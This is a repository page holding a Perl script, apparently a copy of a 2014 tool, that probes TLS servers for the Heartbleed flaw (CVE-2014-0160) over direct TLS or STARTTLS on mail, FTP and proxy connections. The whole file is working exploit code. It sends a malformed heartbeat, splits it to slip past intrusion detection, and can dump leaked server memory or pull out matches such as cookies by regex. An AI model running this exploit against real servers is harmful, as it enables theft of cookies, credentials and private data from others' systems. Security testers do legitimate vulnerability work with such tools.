andre/scripts
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
381897a016ec1284fa92159164f74bad633cfcb7
scripts/Linux Heartbleed/heartbleed.pl
Andre Geißler 1462d52e13 init III
2024-10-14 00:08:40 +02:00

300 lines
8.5 KiB
Perl
Raw Blame History

#!/usr/bin/perl
# Copyright: Steffen Ullrich 2014
# feel free to use, copy, modify without restrictions - NO WARRANTY
use strict;
use warnings;
use Getopt::Long qw(:config posix_default bundling);
# try to use IPv6
my $INETCLASS;
BEGIN {
my @mod = qw(IO::Socket::IP IO::Socket::INET6 IO::Socket::INET);
while ($INETCLASS = shift @mod) {
last if eval "require $INETCLASS";
die "failed to load $INETCLASS: $@" if ! @mod;
}
}
my $starttls = sub {1};
my $starttls_arg;
my $timeout = 5;
my $quiet = 0;
my $show = 0;
my @show_regex;
my %starttls = (
'smtp' => [ 25, \&smtp_starttls ],
'http' => [ 8000, \&http_connect ],
'imap' => [ 143, \&imap_starttls ],
'pop' => [ 110, \&pop_stls ],
'ftp' => [ 21, \&ftp_auth ],
);
sub usage {
print STDERR "ERROR: @_\n" if @_;
print STDERR <<USAGE;
Check if server is vulnerable against heartbleed SSL attack (CVE-2014-0160)
Features:
- can start with plain and upgrade with STARTTLS or similar commands with
IMAP, POP, SMTP, FTP and HTTP proxies
- heartbeat request is sent in two packets to circumvent simple packet
matching IDS or packet filters
- handshake is done with TLS1.0 for better compatibility, heartbeat uses
SSL version from server
- can use regular expressions to directly extract information from
vulnerable sites
- can use IPv6
Usage: $0 [ --starttls proto[:arg] ] [ --timeout T ] host:port
-h|--help - this screen
--starttls proto[:arg] - start plain and upgrade to SSL with
starttls protocol (imap,smtp,http,pop,ftp)
-T|--timeout T - use timeout (default 5)
-s|--show-data [L] - show heartbeat response if vulnerable, optional
parameter L specifies number of bytes per line (16)
-R|--show-regex-data R - show data matching perl regex R. Option can be
used multiple times
-q|--quiet - don't show anything, exit 1 if vulnerable
Examples:
# check direct www, imaps .. server
$0 www.google.com:443
$0 www.google.com:https
$0 mail.google.com:imaps
# try to get Cookies
$0 -R 'Cookie:.*' www.broken-site.com:443
# check webserver via proxy
$0 --starttls http:www.google.com:443 proxy:8000
# check imap server, start with plain and upgrade
$0 --starttls imap imap.gmx.net:143
# check pop server, start with plain and upgrade
$0 --starttls pop pop.gmx.net:110
# check smtp server, start with plain and upgrade
$0 --starttls smtp smtp.gmail.com:587
USAGE
exit(2);
}
my $default_port = 443;
GetOptions(
'h|help' => sub { usage() },
'T|timeout=i' => \$timeout,
's|show-data:i' => sub { $show = $_[1] || 16 },
'R|show-regex-match:s' => \@show_regex,
'q|quiet' => \$quiet,
'starttls=s' => sub {
(my $proto,$starttls_arg) = $_[1] =~m{^(\w+)(?::(.*))?$};
my $st = $proto && $starttls{$proto};
usage("invalid starttls protocol $_[1]") if ! $st;
($default_port,$starttls) = @$st;
},
);
my $show_regex;
if (@show_regex) {
my @rx;
push @rx, eval { qr{$_} } || die "invalid perl regex '$_'"
for(@show_regex);
$show_regex = join('|',@rx);
$show_regex = eval { qr{$show_regex} } || die "invalid regex: $show_regex";
}
my $dst = shift(@ARGV) or usage("no destination given");
$dst .= ":$default_port" if $dst !~ m{^([^:]+|.+\]):\w+$};
my $cl = $INETCLASS->new(PeerAddr => $dst, Timeout => $timeout)
or die "failed to connect: $!";
# disable NAGLE to send heartbeat with multiple small packets
setsockopt($cl,6,1,pack("l",1));
# skip plaintext before starting SSL handshake
$starttls->($cl);
# client hello with heartbeat extension
# based on http://s3.jspenguin.org/ssltest.py
# use only TLS 1.0 in case there are some stupid load balancers
# which don't understand anything better
print $cl pack("H*",join('',qw(
16 03 01 00 dc 01 00 00 d8 03 01 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
)));
my $use_version;
while (1) {
my ($type,$ver,@msg) = _readframe($cl) or die "no reply";
if ( $type == 22 and grep { $_->[0] == 0x0e } @msg ) {
# server hello done
$use_version = $ver;
last;
}
}
# heartbeat request with wrong size
# send in two packets to work around stupid IDS which try
# to detect attack by matching packets only
verbose("...send heartbeat_");
my $hb = pack("Cnn/a*",0x18,$use_version,
pack("Cn",1,0x4000));
print $cl substr($hb,0,1,'');
print $cl $hb;
if ( my ($type,$ver,$buf) = _readframe($cl)) {
if ( $type == 21 ) {
verbose("received alert (probably not vulnerable)");
} elsif ( $type != 24 ) {
verbose("unexpected reply type $type");
} elsif ( length($buf)>3 ) {
verbose("BAD! got ".length($buf)." bytes back instead of 3 (vulnerable)");
show_data($buf) if $show;
if ( $show_regex ) {
while ( $buf =~m{($show_regex)}g ) {
print STDERR $1."\n";
}
}
exit 1;
} else {
verbose("GOOD proper heartbeat reply (not vulnerable)");
}
} else {
verbose("no reply - probably not vulnerable");
}
sub _readframe {
my $cl = shift;
my $len = 5;
my $buf = '';
vec( my $rin = '',fileno($cl),1 ) = 1;
while ( length($buf)<$len ) {
select( my $rout = $rin,undef,undef,$timeout ) or return;
sysread($cl,$buf,$len-length($buf),length($buf)) or return;
$len = unpack("x3n",$buf) + 5 if length($buf) == 5;
}
(my $type, my $ver,$buf) = unpack("Cnn/a*",$buf);
my @msg;
if ( $type == 22 ) {
while ( length($buf)>=4 ) {
my ($ht,$len) = unpack("Ca3",substr($buf,0,4,''));
$len = unpack("N","\0$len");
push @msg,[ $ht,substr($buf,0,$len,'') ];
verbose("...ssl received type=%d ver=0x%x ht=0x%x size=%d",
$type,$ver,$ht,length($msg[-1][1]));
}
} else {
@msg = $buf;
verbose("...ssl received type=%d ver=%x size=%d",
$type,$ver,length($buf));
}
return ($type,$ver,@msg);
}
sub smtp_starttls {
my $cl = shift;
my ($code,$line);
while (<$cl>) { last if ($line,$code) = m{^((\d)\d\d\s.*)}; }
die "server denies access: $line\n" if $code != 2;
print $cl "EHLO example.com\r\n";
while (<$cl>) { last if ($line,$code) = m{^((\d)\d\d\s.*)}; }
print $cl "STARTTLS\r\n";
while (<$cl>) { last if ($line,$code) = m{^((\d)\d\d\s.*)}; }
die "server denies starttls: $line\n" if $code != 2;
verbose("...reply to starttls: $line");
return 1;
}
sub imap_starttls {
my $cl = shift;
<$cl>; # welcome
print $cl "abc STARTTLS\r\n";
while (<$cl>) {
m{^abc (OK)?} or next;
$1 or die "STARTTLS failed: $_";
s{\r?\n$}{};
verbose("...starttls: $_");
return 1;
}
}
sub pop_stls {
my $cl = shift;
<$cl>; # welcome
print $cl "STLS\r\n";
my $reply = <$cl>;
die "STLS failed: $reply" if $reply !~m{^\+OK};
$reply =~s{\r?\n}{};
verbose("...stls $reply");
return 1;
}
sub http_connect {
my $cl = shift;
$starttls_arg or die "no target host:port given";
print $cl "CONNECT $starttls_arg HTTP/1.0\r\n\r\n";
my $hdr = '';
while (<$cl>) {
$hdr .= $_;
last if m{^\r?\n$};
}
$hdr =~m{^HTTP/1\.[01]\s+2\d\d} and return 1;
die "CONNECT failed: $hdr\n";
}
sub ftp_auth {
my $cl = shift;
my ($line,$code);
while (<$cl>) { last if ($line,$code) = m{^((\d)\d\d\s.*)}; }
die "server denies access: $line\n" if $code != 2;
print $cl "AUTH TLS\r\n";
while (<$cl>) { last if ($line,$code) = m{^((\d)\d\d\s.*)}; }
die "AUTH TLS denied: $line\n" if $code != 2;
return 1;
}
sub verbose {
return if $quiet;
my $msg = shift;
$msg = sprintf($msg,@_) if @_;
print STDERR $msg,"\n";
}
sub show_data {
my $data = shift;
my $lastd = '';
my $repeat = 0;
while ( $data ne '' ) {
my $d = substr($data,0,$show,'' );
$repeat++,next if $d eq $lastd;
$lastd = $d;
if ( $repeat ) {
print STDERR "... repeated $repeat times ...\n";
$repeat = 0;
}
( my $h = unpack("H*",$d)) =~s{(..)}{$1 }g;
( my $c = $d ) =~s{[\x00-\x20\x7f-\xff]}{.}g;
my $hl = $show*3;
printf STDERR "%-${hl}s %-${show}s\n",$h,$c;
}
print STDERR "... repeated $repeat times ...\n" if $repeat;
}
Reference in New Issue View Git Blame Copy Permalink